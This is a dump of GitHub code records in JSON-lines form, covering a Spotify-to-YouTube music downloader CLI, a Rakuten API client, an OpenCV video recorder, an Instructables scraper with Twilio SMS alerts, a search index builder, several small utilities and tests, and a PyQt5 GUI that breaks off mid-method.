Spytube(object):\n\tdef __init__(self, **kwargs):\n\t\tself.kwargs = kwargs\n\t\tself.folder_path = os.path.expanduser(kwargs[\"path\"] or util.CONFIG[\"DEFAULT\"][\"music_folder_path\"])\n\t\tif kwargs[\"token\"]:\n\t\t\tself.sp = spotify.Spotify(token = kwargs[\"token\"])\n\t\telse:\n\t\t\tself.sp = spotify.Spotify(util.CONFIG[\"DEFAULT\"][\"spotify_username\"],\n\t\t\t\t\t\t\t\t\tutil.CONFIG[\"DEFAULT\"][\"spotify_client_id\"],\n\t\t\t \t\t\t\t\t\tutil.CONFIG[\"DEFAULT\"][\"spotify_client_secret\"],\n\t\t\t \t\t\t\t\t\tutil.CONFIG[\"DEFAULT\"][\"spotify_redirect_uri\"])\n\t\tself.yt = youtube.Youtube(util.CONFIG[\"DEFAULT\"][\"youtube_api_key\"])\n\t\tself.sp_tracklist = None\n\n\tdef start(self):\n\t\tif self.sp:\n\t\t\tlog.debug(\"initialized spotipy\")\n\t\t\ttry:\n\t\t\t\tself.sp_tracklist = self.sp.get_tracklist(self.kwargs[\"link\"])\n\n\t\t\t\tif self.sp_tracklist:\n\t\t\t\t\tlog.info('got %s \"%s\" by \"%s\"' % \n\t\t\t\t\t\t(self.sp_tracklist.type, self.sp_tracklist.name, self.sp_tracklist.owner or self.sp_tracklist.artist))\n\t\t\t\t\tself.make_folder()\n\t\t\t\t\tself.download_songs()\n\t\t\t\n\t\t\texcept Exception as e:\n\t\t\t\tlog.critical(e)\n\t\telse:\n\t\t\tlog.critical(\"could not initialize spotify\")\n\n\n\tdef make_folder(self):\n\t\t\"\"\"\n\t\tif -u or --add-username:\n\t\t\tadds \"by username\" to folder name (only for playlists)\n\t\tif -d or --add-date:\n\t\t\tfor playlist - adds last edit date (useful for Discover Weekly)\n\t\t\tfor album - adds publish date\n\t\tif -f or --add-folder:\n\t\t\tfor playlist - make separate folder if date (-d) exists\n\t\t\tfor albums - save album in artist folder (Artist/Album(date))\n\t\t\tfor one track - makes artist folder\n\n\t\tredo later?\n\t\t\"\"\"\n\t\tif self.kwargs[\"name\"] != None:\n\t\t\tself.folder_path += \"/\" + self.kwargs[\"name\"]\n\t\telse:\n\t\t\tjoinstr = [\"/\" , \"/\" if self.kwargs[\"add_folder\"] else \" - \", \" - \"]\n\t\t\tnames = []\n\t\t\tif (self.kwargs[\"add_folder\"] and self.sp_tracklist.type == \"track\") or self.sp_tracklist.type == \"album\":\n\t\t\t\tnames += [self.sp_tracklist.artist]\n\t\t\tif self.sp_tracklist.name:\n\t\t\t\tn = self.sp_tracklist.name\n\t\t\t\tif self.kwargs[\"add_username\"] and self.sp_tracklist.type == \"playlist\":\n\t\t\t\t\tn += \" by \" + self.sp_tracklist.owner\n\t\t\t\tnames += [n]\n\t\t\tif self.kwargs[\"add_date\"] and self.sp_tracklist.date:\n\t\t\t\tnames += [self.sp_tracklist.date[:10]]\n\t\t\tfor i,n in enumerate(names):\n\t\t\t\tself.folder_path += joinstr[i] + n\n\t\tif not os.path.isdir(self.folder_path):\n\t\t\tos.makedirs(self.folder_path)\n\t\t\tlog.info(\"created directory %s\" % self.folder_path)\n\t\tos.chdir(self.folder_path)\n\t\tlog.debug(\"changing working directory to %s\" % self.folder_path)\n\n\tdef ydl_hook(self, d):\n\t\tif d['status'] == 'finished':\n\t\t\tlog.info(\"converting to mp3\")\n\t\t# if d['status'] == 'downloading':\n\t\t# \tself.logger.info(\"downloading\")\n\t\t\n\tdef download_songs(self):\n\t\tfor i,song in enumerate(self.sp_tracklist.tracklist):\n\t\t\tlog.info(\"%i/%i %s - %s (%i sec)\" % \n\t\t\t\t(i+1,self.sp_tracklist.size, song.artist, song.title, song.duration))\n\t\t\t\n\t\t\tfilename = song.artist + \" - \" + song.title\n\t\t\tfor c in INVALID_CHARS:\n\t\t\t\tfilename = filename.replace(c,'_')\n\n\t\t\tif os.path.exists(filename + \".mp3\"):\n\t\t\t\tself.song_info(i+1, song)\n\t\t\t\tlog.info('song with that name already exists. skipping')\n\t\t\telse:\n\t\t\t\tlog.info(\"searching youtube\")\n\t\t\t\tr = self.get_song(song)\n\t\t\t\tif r:\n\t\t\t\t\tydl_opts = {\n\t\t\t\t\t 'format': 'bestaudio/best',\n\t\t\t\t\t 'outtmpl': filename + '.%(ext)s',\n\t\t\t\t\t 'postprocessors': [{\n\t\t\t\t\t 'key': 'FFmpegExtractAudio',\n\t\t\t\t\t 'preferredcodec': 'mp3',\n\t\t\t\t\t 'preferredquality': '192',\n\t\t\t\t\t \t},],\n\t\t\t\t\t 'logger': log,\n\t\t\t\t\t\t'ignoreerrors': True,\n\t\t\t\t\t 'progress_hooks': [self.ydl_hook],\n\t\t\t\t\t}\n\n\t\t\t\t\twith youtube_dl.YoutubeDL(ydl_opts) as ydl:\n\t\t\t\t\t\tlog.info(\"downloading %s (%s)\" % (r.title, r.URL))\n\t\t\t\t\t\tydl.download([r.URL])\n\n\t\t\t\t\tif MP3:\n\t\t\t\t\t\tself.add_metadata(filename, song)\n\t\t\t\t\tself.song_info(i+1, song, True)\n\t\t\t\t\tlog.info('succesfully donloaded song')\n\t\t\t\telse:\n\t\t\t\t\tself.song_info(i+1, song, False)\n\t\t\t\t\tlog.warning('error while downloading song')\n\n\tdef get_song(self,song):\n\t\tresults = self.yt.search(song.artist + \" - \" + song.title, \n\t\t\tmaxres=min(self.kwargs[\"results\"] or 10,50) if self.kwargs[\"search_type\"] else 1)\n\t\t#set maxres if specified, 10 is default, 50 is max. if search type is 0 (first result), maxres = 1\n\t\tif not results:\n\t\t\tlog.debug(\"no youtube results\")\n\t\t\treturn None\n\t\tif self.kwargs[\"search_type\"] == 1:\n\t\t\tlog.debug(\"searching for song with equal duration\")\n\t\t\tfor res in results:\n\t\t\t\tif res.duration == song.duration:\n\t\t\t\t\treturn res\n\t\telif self.kwargs[\"search_type\"] == 2:\n\t\t\tsong.info()\n\t\t\tfor i,res in enumerate(results):\n\t\t\t\tprint(i+1)\n\t\t\t\tres.info()\n\t\t\tdec = 51\n\t\t\twhile dec > len(results) or dec < 1:\n\t\t\t\tdec = int(input(\"Enter choice: \"))\n\t\t\treturn results[dec-1]\n\t\tlog.debug(\"getting first result\")\n\t\treturn results[0]\n\n\n\tdef add_metadata(self, filename, song):\n\t\t\"\"\"\n\t\thttp://id3.org/id3v2.4.0-frames\n\t\t\"\"\"\n\t\tlog.info('adding metadata')\n\t\tlog.info(self.folder_path)\n\t\tif os.path.isfile(self.folder_path + \"/\" + filename + \".mp3\"):\n\t\t\tmp3file = MP3(filename + \".mp3\", ID3=ID3)\n\n\t\t\tif self.kwargs[\"metadata\"]:\n\t\t\t\topts = [int(o) for o in bin(self.kwargs[\"metadata\"])[2:]]\n\t\t\telse:\n\t\t\t\topts = [1,1,1] if self.sp_tracklist.type == \"album\" else [1,1,0]\n\n\t\t\tif opts[0]: #default\n\t\t\t\tmp3file['TIT2'] = TIT2(encoding=3, text=song.title)\n\t\t\t\tmp3file['TPE1'] = TPE1(encoding=3, text=song.artist)\n\n\t\t\tif opts[1]:\t#default\n\t\t\t\tmp3file['TALB'] = TALB(encoding=3, text=song.album)\n\t\t\t\tcover = requests.get(song.cover[1]).content\n\t\t\t\tif cover:\n\t\t\t\t\tmp3file['APIC'] = APIC(encoding=3, mime='image/jpeg', type=3, desc=u'Cover', data=cover)\n\t\t\t\telse:\n\t\t\t\t\tlog.warning(\"Error while getting cover\")\n\n\t\t\tif opts[2]:\t#default for album download\n\t\t\t\tmp3file['TPE2'] = TPE2(encoding=3, text=song.album_artist)\n\t\t\t\tmp3file['TPOS'] = TPOS(encoding=3, text=str(song.disc_num))\n\t\t\t\tmp3file['TRCK'] = TRCK(encoding=3, text=str(song.track_num))\n\t\t\t\t#mp3file['TIT3'] = TIT3(encoding=3, text=\"Subtitle\")\n\t\t\t\t#mp3file['COMM'] = COMM(encoding=3, text=\"Comment\")\t\t#add comment with youtube and spotify url?\n\n\t\t\tmp3file.save()\n\t\telse:\n\t\t\tlog.info(\"skipped song\")\n\n\tdef song_info(self, i, song, status = None):\n\t\tif not self.kwargs[\"verbose\"]:\n\t\t\tif status:\n\t\t\t\tstat = \"\\033[92mSuccess\\033[0m\" \n\t\t\telif status == False: \n\t\t\t\tstat = \"\\033[91m Error \\033[0m\"\n\t\t\telse:\n\t\t\t\tstat = \"\\033[93mSkipped\\033[0m\"\n\t\t\tprint(\"[%s][%d/%d] %s\" % (stat, i, self.sp_tracklist.size, song))\n\ndef parse_args(args):\n\tparser = argparse.ArgumentParser(description='Download spotify playlist/album/song from youtube')\n\tparser.add_argument('link', type=str,\n\t\thelp='Spotify link (url or uri)')\n\tparser.add_argument('-s','--search-type', type=int, choices=[0,1,2],\n\t\thelp='Define the search type: 0 - download first youtube result, 1 - download song with equal duration (default), 2 - prompt the user for every download')\n\tparser.add_argument('-r','--results', type=int,\n\t\thelp='Number of results for every youtube search. (max = 50)')\n\tparser.add_argument('-t','--token',\n\t\thelp=\"Spotify auth token. Use this if you don't have spotify app setup or you want to bypass using default user credentials\")\n\tparser.add_argument('-m','--metadata', type=int,\n\t\thelp='Add metadata tags. Input is decimal number from 0 to 7 representing binary options (title&artist | album&cover | other)')\n\tparser.add_argument('-n','--name', nargs='?', const=\"\",\n\t\thelp='Replaces folder name with the user specified one. Using only -n saves songs to default music folder or the one specified with -p. This overrides -d -u and -f arguments.')\n\tparser.add_argument('-p','--path',\n \thelp=\"Path to the folder where you want the files downloaded\")\n\tparser.add_argument('-d','--add-date',action=\"store_true\",\n\t\thelp=\"Add a date to folder name. Adds last added song date to playlists or publish date for albums (useful for downloading Discover Weekly playlists)\")\n\tparser.add_argument('-u','--add-username',action=\"store_true\",\n\t\thelp=\"Add owner name to destination folder (works only for playlists)\")\n\tparser.add_argument('-f','--add-folder',action=\"store_true\",\n\t\thelp=\"Makes subfolder if possible. Name of the folder is always the first value. (For example artist/album, playlist/date, etc...)\")\n\tparser.add_argument('-v', '--verbose', action=\"count\",\n\t\thelp=\"Print additional info or debugging information\")\n\n\targs = parser.parse_args()\n\treturn args\n\ndef main(args=None):\n\tif args is None:\n\t\tif len(sys.argv) <= 1:\n\t\t\tlog.critical('you need to provide spotify link')\n\t\t\tsys.exit()\n\t\telse:\t\n\t\t\targs = parse_args(sys.argv[1])\n\tif args.verbose:\n\t\tlog.setLevel(int(20/args.verbose))\n\tlog.debug(args)\n\tutil.init()\n\tspyt = Spytube(**vars(args))\n\tspyt.start()\t\t\n\nif __name__ == \"__main__\":\n main()","repo_name":"josduj/spytube","sub_path":"spytube/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":9090,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"42732480084","text":"from flask import current_app\nfrom invenio_indexer.api import RecordIndexer\nfrom invenio_search.utils import build_alias_name\nfrom oarepo_communities.search import CommunitySearch\n\n\nclass DatasetRecordsSearch(CommunitySearch):\n LIST_SOURCE_FIELDS = [\n 'InvenioID', 'oarepo:validity.valid', 'oarepo:draft',\n 'titles', 'abstract', 'creators', 'dateCreated', 'dateAvailable', 'resourceType', 'accessRights', 'rights',\n 'contributors', 'keywords', 'subjectCategories', 'relatedItems', 'oarepo:recordStatus', 'language',\n 'oarepo:primaryCommunity', 'oarepo:secondaryCommunities', '$schema', '_files'\n ]\n HIGHLIGHT_FIELDS = {\n 'titles.title.cs': None,\n 'titles.title._': None,\n 'titles.title.en': None\n }\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n # https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations.html#return-agg-type\n typed_keys = current_app.config.get(\"NR_ES_TYPED_KEYS\", False)\n self._params = {'typed_keys': typed_keys}\n\n\nclass CommitingRecordIndexer(RecordIndexer):\n def index(self, record, arguments=None, **kwargs):\n ret = super().index(record, arguments=arguments, **kwargs)\n index, doc_type = self.record_to_index(record)\n index = build_alias_name(index)\n self.client.indices.refresh(index=index)\n return ret\n","repo_name":"Narodni-repozitar/nr-datasets","sub_path":"nr_datasets/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35672661160","text":"class Solution(object):\n def __init__(self):\n self.left = -1\n self.right = -1\n def searchRange(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n\n N = len(nums)\n\n def search(start,end):\n if start > end:\n return\n\n mid = (start + end) // 2\n\n if nums[mid] < target:\n search(mid + 1,end)\n elif nums[mid] > target:\n search(start, mid - 1)\n else:\n self.right = max(self.right , mid)\n if self.left >= 0:\n self.left = min(self.left , mid)\n else:\n self.left = mid\n search(mid + 1,end)\n search(start, mid - 1)\n \n search(0,N - 1)\n \n return [self.left, self.right]","repo_name":"DemonZhou/leetcode","sub_path":"searchRange.py","file_name":"searchRange.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4623099448","text":"import numpy as np\nimport os.path as op\nimport cv2\nimport time\nimport argparse\nfrom pathlib2 import Path\n\n# Standard Video Dimensions Sizes\nSTD_DIMENSIONS = {\n \"240p\": (426, 240),\n \"360p\": (640, 360),\n \"480p\": (854, 480),\n \"720p\": (1280, 720),\n \"1080p\": (1920, 1080),\n \"2k\": (2560, 1440),\n \"4k\": (3840, 2160),\n\n \"d346\":(346, 260) # DAVIS DVS Camera\n}\n\n# Video Encoding, might require additional installs\n# Types of Codes: http://www.fourcc.org/codecs.php\nVIDEO_TYPE = {\n '.avi': cv2.VideoWriter_fourcc(*'XVID'),\n # '.mp4': cv2.VideoWriter_fourcc(*'h264'),\n '.mp4': cv2.VideoWriter_fourcc(*'mp4v'),\n}\n\nclass VideoRecorder():\n \"\"\" Record a video using certain parameters, and output a timestamps log.\n Args:\n out_path: The path to output the video.\n fps: Frame per second.\n width: The video frame width.\n height: The video frame height.\n res: Standard resolutions.\n timelog: Whether to keep a timestamps log.\n \"\"\"\n def __init__(self, out_path=None, fps=30, width=1280, height=720, res=None, timelog=True) -> None:\n assert res in ['240p', '360p', '480p', '720p', '1080p', '2k', '4k', 'd346', None]\n self.out_path = out_path if out_path is not None else 'video.avi'\n self.out_path = get_new_path(self.out_path)\n self.fps = fps\n self.width = width\n self.height = height\n self.res = res\n self.timelog = timelog\n self.cap = None\n self.out_handler = None\n self.video_type = self.get_video_type(self.out_path)\n self.get_log_path()\n \n def start(self, cam_idx=0):\n \"\"\" Start a video stream using device at `cam_idx`.\n \"\"\"\n self.cap = cv2.VideoCapture(cam_idx)\n self.set_dims()\n real_size = (int(self.cap.get(cv2.CAP_PROP_FRAME_WIDTH)), int(self.cap.get(cv2.CAP_PROP_FRAME_HEIGHT)))\n out_handler = cv2.VideoWriter(self.out_path, self.video_type, self.fps, real_size)\n if self.timelog:\n logger = open(self.log_path, 'w+')\n while True:\n ret, frame = self.cap.read()\n print(frame.shape, self.width, self.height)\n if self.timelog:\n logger.write(str(time.time())+'\\n')\n out_handler.write(frame)\n cv2.imshow('frame',frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n self.cap.release()\n out_handler.release()\n cv2.destroyAllWindows()\n if self.timelog:\n logger.close()\n\n # grab resolution dimensions and set video capture to it.\n def set_dims(self):\n if self.res is not None:\n self.width, self.height = STD_DIMENSIONS[self.res]\n # change the current caputre device to the resulting resolution\n if self.cap is not None:\n self.change_res(self.cap, self.width, self.height)\n\n def get_log_path(self):\n root, name = op.split(self.out_path)\n name = op.splitext(name)[0]\n self.log_path = op.join(root, name+'_timestamps.txt')\n\n # Set resolution for the video capture\n # Function adapted from https://kirr.co/0l6qmh\n @staticmethod\n def change_res(cap, width, height):\n cap.set(3, width)\n cap.set(4, height)\n \n @staticmethod\n def get_video_type(path):\n _, ext = op.splitext(path)\n if ext in VIDEO_TYPE:\n return VIDEO_TYPE[ext]\n return VIDEO_TYPE['.avi']\n\n @staticmethod\n def returnCameraIndexes():\n # checks the first 10 indexes.\n index = 0\n arr = []\n i = 10\n while i > 0:\n cap = cv2.VideoCapture(index)\n if cap.read()[0]:\n arr.append(index)\n cap.release()\n index += 1\n i -= 1\n print(f\"Cameras at the following indexes are valid: {arr}\")\n return arr\n\ndef get_new_path(path):\n \"\"\" Return a path to a file, creat its parent folder if it doesn't exist, creat new one if existing.\n\n If the folder/file already exists, this function will use `path`_`idx` as new name, and make\n corresponding folder if `path` is a folder.\n idx will starts from 1 and keeps +1 until find a valid name without occupation.\n\n If the folder and its parent folders don't exist, keeps making these series of folders.\n\n Args:\n path: The path of a file/folder.\n Returns:\n _ : The guaranteed new path of the folder/file.\n \"\"\"\n path = Path(path)\n root = Path(*path.parts[:-1])\n\n if not root.exists():\n root.mkdir(parents=True, exist_ok=True)\n\n if not path.exists():\n new_path = path\n if new_path.suffix == '':\n new_path.mkdir()\n else:\n idx = 1\n while True:\n stem = path.stem+\"_\"+str(idx)\n new_path = root / (stem+path.suffix)\n if not new_path.exists():\n if new_path.suffix == '':\n new_path.mkdir()\n break\n idx += 1\n return str(new_path)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-r', '--resolution', type=str, help='Standard resolution string.')\n parser.add_argument('-o', '--out_path', type=str, default='records/video.avi', help='The output video path.')\n \n parser.add_argument('-c', '--cam', type=int, help='Camera index')\n parser.add_argument('-f', '--fps', type=int, default=30, help='FPS.')\n parser.add_argument('-n', '--no_timelog', action='store_true', help='Do not keep time log.')\n \n args = parser.parse_args()\n rec = VideoRecorder(out_path=args.out_path, res=args.resolution, fps=args.fps, timelog=(not args.no_timelog))\n \n if args.cam is None:\n arr = rec.returnCameraIndexes()\n rec.start(arr[0])\n else:\n rec.start(args.cam)","repo_name":"miracleyoo/mlib","sub_path":"cv/video/recorder.py","file_name":"recorder.py","file_ext":"py","file_size_in_byte":5826,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"4209894020","text":"import requests\nappId=1018661814203004669\ndef Item_Search_API(keyword):\n Item_Search_API_Endpoint = \"https://app.rakuten.co.jp/services/api/IchibaItem/Search/20170706?\"\n Item_Search_API_serch_param={\"format\":\"json\",\"keyword\":keyword,\"applicationId\":appId}\n Item_Search_API_result = requests.get(Item_Search_API_Endpoint,Item_Search_API_serch_param).json()\n return Item_Search_API_result\ndef Ranking_API(gID):\n Ranking_API_Endpoint = \"https://app.rakuten.co.jp/services/api/IchibaItem/Ranking/20170628?\"\n Ranking_API_serch_param={\"applicationId\":appId,\"geneId\":gID}\n Ranking_API_result = requests.get(Ranking_API_Endpoint,Ranking_API_serch_param).json()\n return Ranking_API_result","repo_name":"hayate242/rakuten_online_tech_training_outdoor","sub_path":"TestCallAPI.py","file_name":"TestCallAPI.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74016740588","text":"# -*- coding: utf-8 -*-\n# @Date : 2018-05-21 15:50:58\n# @Author : Liu Huan (liuhuan@mail.las.ac.cn)\n\nimport sys\n\na = sys.argv[1]\nb = sys.argv[2]\nprint(a)\nprint(b)\n","repo_name":"LeoWood/AuxiliaryScripts","sub_path":"ExecByJava.py","file_name":"ExecByJava.py","file_ext":"py","file_size_in_byte":167,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"21094230470","text":"import requests\nfrom bs4 import BeautifulSoup\nimport os\nfrom twilio.rest import Client\n\ntwilio_file = open(\"/home/dniewinski/.twilio/auth\", 'r')\ntwilio_auth = twilio_file.readlines()\ntwilio_file.close()\n\nSID = twilio_auth[0]\nAUTH = twilio_auth[1]\nTRIAL_NUMBER = twilio_auth[2]\nMY_NUMBER = twilio_auth[3]\n\nclient = Client(SID, AUTH)\n\npage = requests.get(\"https://www.instructables.com/contest/\")\n\nsoup = BeautifulSoup(page.content, 'html.parser')\ncurr_contests_div = soup.find_all(id=\"cur-contests\")[0]\ncurr_contests_imgs = curr_contests_div.find_all('img')\n\npast_contests = []\npast_contests_file_name = \"prev_contests.txt\"\nif os.path.exists(past_contests_file_name):\n past_contests_file = open(past_contests_file_name, 'r')\n for line in past_contests_file:\n past_contests.append(line.rstrip().lstrip())\n past_contests_file.close()\n\npast_contests_file = open(past_contests_file_name, 'w')\n\ntext_message = \"\"\nnew_contest = False\nfor img in curr_contests_imgs:\n contest = img.get('alt')\n past_contests_file.write(contest + \"\\n\")\n if contest not in past_contests:\n new_contest = True\n text_message = \"!NEW! \" + contest + \"\\n\" + text_message\n else:\n text_message = text_message + contest + \"\\n\"\n\nif new_contest:\n print(text_message)\n client.messages.create(to=MY_NUMBER, from_=TRIAL_NUMBER, body=text_message)\nelse:\n print(\"Nothing New\")\n\npast_contests_file.close()\n","repo_name":"david0429/InstructablesContests","sub_path":"contests.py","file_name":"contests.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"807398935","text":"from bs4 import BeautifulSoup\nfrom whoosh.analysis import StemmingAnalyzer\nfrom pathlib import Path\nimport math\n\nclass IndexBuilder:\n def __init__(self):\n self.corpusCount = 0\n\n def storeWordPosition(self, aFile: Path):\n \"\"\"Stores the word and the position of that word(doing this for query terms) in a single file\n Ex. {word : [normalized term freq], word2:[normalized term freq], ..}\n \"\"\"\n\n corpi = aFile.open( encoding='latin-1')\n f = corpi.read()\n soup = BeautifulSoup(f, 'lxml')\n ana = StemmingAnalyzer() ### lowercases, stems, ignores stopwords\n tokens = [token.text for token in ana(soup.text)]\n print(\"Indexing: \", str(aFile))\n\n wordPosition = {}\n for token in tokens:\n if token in wordPosition.keys():\n wordPosition[token]+=1\n else:\n wordPosition[token] = 1\n\n ###weighting for h1,h2,h3,strong,b,title tags for now (boosting tf score)\n # soup = BeautifulSoup(f, 'lxml')\n # for words in soup.find_all('h1'):\n # important = [token for token in word_tokenize(str(words.text).lower()) if token not in stopset and re.match(\"^[a-z].+[a-z]$\", token) ]\n # for token in important:\n # wordPosition[token]+=3\n\n\n return self.normalize(wordPosition)\n\n def normalize(self, wordPosition: dict): ###for some reason, not normalizing leads to closer scores with lucene\n \"\"\"Normalize frequencies \"\"\"\n magnitude = 0.0\n for word in wordPosition.keys():\n wordPosition[word] = 1 + math.log10(wordPosition[word])\n # magnitude += wordPosition[word] ** 2;\n # magnitude = math.sqrt(magnitude)\n # for word in wordPosition.keys():\n # wordPosition[word] /= magnitude\n return wordPosition\n\n def storeDocToWord(self):\n \"\"\" {docID: {word: [normalized tf],...}, ...} \"\"\"\n files = self.fileSearch(Path('WEBPAGES_SIMPLE'))\n total = {}\n for filename in files:\n total[str(filename)[16:]] = self.storeWordPosition(filename)\n return total\n\n def buildInvertedIndex(self):\n docToWords = self.storeDocToWord()\n invertedIndex = {}\n for filename in docToWords.keys():\n for word in docToWords[filename].keys():\n if word in invertedIndex.keys():\n invertedIndex[word].update({filename: docToWords[filename][word]})\n else:\n invertedIndex[word] = {filename: docToWords[filename][word]}\n return invertedIndex\n\n\n def fileSearch(self, path: Path):\n \"\"\"Goes through CORPUS, adds each file that needs to be indexed\"\"\"\n filesToIndex = [];\n for directory in path.iterdir():\n try:\n if(directory.is_dir()):\n for item in directory.iterdir():\n filesToIndex.append(item)\n self.corpusCount+=1\n except:\n print(\"Error while adding files to index\")\n return filesToIndex\n\n def getCorpusCount(self):\n return self.corpusCount\n\n\nimport sys\n\ndef get_size(obj, seen=None):\n \"\"\"Recursively finds size of objects\"\"\"\n size = sys.getsizeof(obj)\n if seen is None:\n seen = set()\n obj_id = id(obj)\n if obj_id in seen:\n return 0\n # Important mark as seen *before* entering recursion to gracefully handle\n # self-referential objects\n seen.add(obj_id)\n if isinstance(obj, dict):\n size += sum([get_size(v, seen) for v in obj.values()])\n size += sum([get_size(k, seen) for k in obj.keys()])\n elif hasattr(obj, '__dict__'):\n size += get_size(obj.__dict__, seen)\n elif hasattr(obj, '__iter__') and not isinstance(obj, (str, bytes, bytearray)):\n size += sum([get_size(i, seen) for i in obj])\n return size\n\n\nif __name__ == '__main__':\n test = IndexBuilder()\n x = test.buildInvertedIndex()\n print(get_size(x))\n","repo_name":"geoprism/Search-Engine","sub_path":"EngineFromScratch/indexBuilder.py","file_name":"indexBuilder.py","file_ext":"py","file_size_in_byte":4022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7936055021","text":"#cuffquant\nclass CuffQuant(object):\n\tdef __init__(self, annotationFile=None, bamfile=None, genomeFile=None, outputDir=\"./\"):\n\t\tself.exe = '/share/apps/cufflinks-2.2.1.Linux_x86_64/cuffquant' \n\t\tself.annotationFile = annotationFile\n\t\tself.bamFile = bamfile\n\t\tself.genomeFile = genomeFile\n\t\tself.outputDir = outputDir\n\t\tself.threads = 8\n\n\tdef makeCommand(self):\n\t\targlist = [ \"%s\" % self.exe ]\n\t\targlist.extend([ \"-p %s \" % self.threads ])\n\t\targlist.extend([ \"-o %s \" % self.outputDir ])\n\t\tif self.genomeFile is not None:\n\t\t\t# bias correction\n\t\t\targlist.extend([ \"-b %s \" % self.genomeFile ])\n\t\t# rescue multireads\n\t\targlist.extend([ \"-u \" ])\n\t\t# GTF file\n\t\targlist.extend([ \"%s\" % self.annotationFile])\n\t\targlist.extend([ \"%s\" % self.bamFile])\n\n\t\tcmd = \" \".join(arglist)\n\t\treturn cmd\n","repo_name":"anykine/rnaseq_tools","sub_path":"scripts/cuffquant.py","file_name":"cuffquant.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39719965161","text":"from flask import Flask\nimport pytest\n\nfrom api.blueprints.drbLink import linkFetch\nfrom api.utils import APIUtils\n\nclass TestLinkBlueprint:\n @pytest.fixture\n def mockUtils(self, mocker):\n return mocker.patch.multiple(\n APIUtils,\n formatResponseObject=mocker.DEFAULT,\n formatLinkOutput=mocker.DEFAULT\n )\n \n @pytest.fixture\n def testApp(self):\n flaskApp = Flask('test')\n flaskApp.config['DB_CLIENT'] = 'testDBClient'\n\n return flaskApp\n\n def test_linkFetch_success(self, mockUtils, testApp, mocker):\n mockDB = mocker.MagicMock()\n mockDBClient = mocker.patch('api.blueprints.drbLink.DBClient')\n mockDBClient.return_value = mockDB\n\n mockDB.fetchSingleLink.return_value = 'dbLinkRecord'\n\n mockUtils['formatLinkOutput'].return_value = 'testLink'\n mockUtils['formatResponseObject'].return_value = 'singleLinkResponse'\n\n with testApp.test_request_context('/'):\n testAPIResponse = linkFetch(1)\n\n assert testAPIResponse == 'singleLinkResponse'\n mockDBClient.assert_called_once_with('testDBClient')\n\n mockUtils['formatLinkOutput'].assert_called_once_with('dbLinkRecord')\n mockUtils['formatResponseObject'].assert_called_once_with(\n 200, 'singleLink', 'testLink'\n )\n\n def test_editionFetch_missing(self, mockUtils, testApp, mocker):\n mockDB = mocker.MagicMock()\n mockDBClient = mocker.patch('api.blueprints.drbLink.DBClient')\n mockDBClient.return_value = mockDB\n\n mockDB.fetchSingleLink.return_value = None\n\n mockUtils['formatResponseObject'].return_value = '404Response'\n\n with testApp.test_request_context('/'):\n testAPIResponse = linkFetch(1)\n\n assert testAPIResponse == '404Response'\n mockDBClient.assert_called_once_with('testDBClient')\n\n mockUtils['formatLinkOutput'].assert_not_called()\n mockUtils['formatResponseObject'].assert_called_once_with(\n 404, 'singleLink', {'message': 'Unable to locate link #1'}\n )\n","repo_name":"NYPL/drb-etl-pipeline","sub_path":"tests/unit/test_api_link_blueprint.py","file_name":"test_api_link_blueprint.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"73598169388","text":"from subprocess import PIPE, Popen as popen\nfrom unittest import TestCase\n\nfrom betrack import __cli__ as CLI\nfrom betrack import __version__ as VERSION\n\nclass TestHelp(TestCase):\n def test_returns_usage_information(self):\n output = popen(['betrack', '-h'], stdout=PIPE).communicate()[0]\n self.assertTrue(b'Usage:' in output)\n\n output = popen(['betrack', '--help'], stdout=PIPE).communicate()[0]\n self.assertTrue(b'Usage:' in output)\n\n\nclass TestVersion(TestCase):\n def test_returns_version_information(self):\n output = popen(['betrack', '--version'], stdout=PIPE).communicate()[0]\n self.assertEqual(output.strip(), CLI.encode() + b' ' + VERSION.encode())\n","repo_name":"gvalentini85/betrack-cli","sub_path":"tests/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16838176932","text":"# 使用网格布局\nimport sys\nfrom PyQt5.QtWidgets import QMainWindow, \\\n QApplication, \\\n QStatusBar, \\\n QMenuBar, \\\n QAction, \\\n QMenu, \\\n QLabel, \\\n QPushButton, \\\n QVBoxLayout, \\\n QHBoxLayout, QWidget, \\\n QGridLayout\nfrom PyQt5.QtCore import Qt\n\n\nclass GUI(QMainWindow):\n def __init__(self):\n super().__init__()\n self.initUI()\n\n def initUI(self):\n self.setWindowTitle('我是一个window Title')\n self.resize(500, 300)\n self.setMinimumSize(200, 200)\n self.setMaximumSize(500, 600)\n\n # 调用方法\n self.add_menu_and_status()\n\n # 调用布局方法\n self.add_postion_layout()\n\n # 设置状态和菜单\n def add_menu_and_status(self):\n # 设置状态栏\n status = QStatusBar()\n status.showMessage('显示文本')\n self.setStatusBar(status)\n\n # 